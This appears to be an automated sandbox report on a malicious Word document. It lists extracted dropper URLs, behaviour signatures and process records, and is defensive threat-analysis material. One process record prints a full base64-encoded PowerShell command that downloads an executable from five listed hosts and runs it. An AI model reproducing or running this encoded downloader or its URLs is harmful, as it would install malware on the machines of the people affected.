Analysis

  • max time kernel
    61s
  • max time network
    65s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    17/07/2020, 18:57

General

  • Target
    dce2d41e0e631b06bd1703b81f40e3ba213e926b36e3579bd788062d7f5c99eb.doc
  • Size 194KB
  • Sample200717-9bh4es2ftj
  • SHA256 dce2d41e0e631b06bd1703b81f40e3ba213e926b36e3579bd788062d7f5c99eb
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://topgameus.com/AutoIT_UngdungOnline/zqjqel/

  • exe.dropper

    http://cpads.net/7iuhq/mri/

  • exe.dropper

    https://tyres2c.com/wp-admin/zu2h/

  • exe.dropper

    https://thesuperservice.com/wp-admin/rL00/

  • exe.dropper

    https://ssuse.com/wp-content/uploads/IMv2xyEc3/

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 5 IoCs
  • Modifies registry class 280 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dce2d41e0e631b06bd1703b81f40e3ba213e926b36e3579bd788062d7f5c99eb.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1388
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABiAGEAZQBwAHQAbwB1AHAAbQBvAHoAcQB1AGEAcQB1AGcAdQByAD0AJwBnAGEAaQByAGYAbwBvAHYAdwBpAGEAdABoAHQAYQBlAGcAcABvAHUAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBpAFQAeQBgAHAAUgBPAHQATwBjAGAAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACAAPQAgACcANgA3ADcAJwA7ACQAYwBoAGEAaQB4AHcAZQBlAHgAPQAnAHgAYQBvAHMAJwA7ACQAYwBoAGEAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACsAJwAuAGUAeABlACcAOwAkAGoAZQBhAG0AYwBoAGEAYgA9ACcAcQB1AGEAZQBmAHkAbwB1AGwAcABvAHUAdwBqAGEAaQBoAHQAdQBhAHIAJwA7ACQAdABoAGEAZQBxAHUAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAQwBMAGkARQBuAFQAOwAkAHQAaQBhAGcAeQBvAHUAcwB2AHUAdQBiAD0AJwBoAHQAdABwADoALwAvAHQAbwBwAGcAYQBtAGUAdQBzAC4AYwBvAG0ALwBBAHUAdABvAEkAVABfAFUAbgBnAGQAdQBuAGcATwBuAGwAaQBuAGUALwB6AHEAagBxAGUAbAAvACoAaAB0AHQAcAA6AC8ALwBjAHAAYQBkAHMALgBuAGUAdAAvADcAaQB1AGgAcQAvAG0AcgBpAC8AKgBoAHQAdABwAHMAOgAvAC8AdAB5AHIAZQBzADIAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AegB1ADIAaAAvACoAaAB0AHQAcABzADoALwAvAHQAaABlAHMAdQBwAGUAcgBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwByAEwAMAAwAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBzAHUAcwBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAEkATQB2ADIAeAB5AEUAYwAzAC8AJwAuACIAcwBwAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABiAG8AdQBtAHkAYQBvAG0AaABvAGkAegBqAGUAaQBuAGYAZQBpAHYAPQAnAGYAaQBvAHQAaABnAG8AZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeABlAGUAeABjAGUAYwBoACAAaQBuACAAJAB0AGkAYQBnAHkAbwB1AHMAdgB1AHUAYgApAHsAdAByAHkAewAkAHQAaABhAGUAcQB1AC4AIgBEAGAAbwBXAG4ATABPAGAAQQBkAEYAYABpAGwARQAiACgAJAB4AGUAZQB4AGMAZQBjAGgALAAgACQAYwBoAGEAeQApADsAJABtAGEAZQByAGIAbwBlAHAAYwB1AGEAZwA9ACcAdgBlAGEAYgB0AHUAcAByAHUAdQBsAGMAaABpAGEAegBiAG8AYQBoACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAYwBoAGEAeQApAC4AIgBMAGUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA2ADcANgA0ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIARQBhAGAAVABlACIAKAAkAGMAaABhAHkAKQA7ACQAYwBlAGMAaABjAGEAdQB0AHQAaABlAG8AcQB1AHMAbwBlAG0APQAnAGoAbwBpAGsAagBvAGEAcABkAGkAZQBzACcAOwBiAHIAZQBhAGsAOwAkAGcAYQB1AGcAeQB1AHkAcgB1AHkAeQB1AG4AYgB1AHUAZgBrAGUAcgA9ACcAdABpAGEAdwBmAGUAbwBjAGYAYQBpAHMAagBhAGUAZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABwAGkAeAB3AHUAegB2AG8AYQBtAGwAdQB1AHMAagBvAG8AeQBrAGkAbQA9ACcAcwBpAGMAaABrAGUAaQBnAHYAbwBhAGMAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    PID:1316

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1388-2-0x00000000089A0000-0x00000000089A4000-memory.dmp

        memory/1388-3-0x0000000006F00000-0x0000000007100000-memory.dmp

        memory/1388-4-0x0000000006F00000-0x0000000007100000-memory.dmp

        memory/1388-5-0x000000000ACC0000-0x000000000ACC4000-memory.dmp

        memory/1388-6-0x000000000BD40000-0x000000000BD44000-memory.dmp

        memory/1388-7-0x0000000006F00000-0x0000000007100000-memory.dmp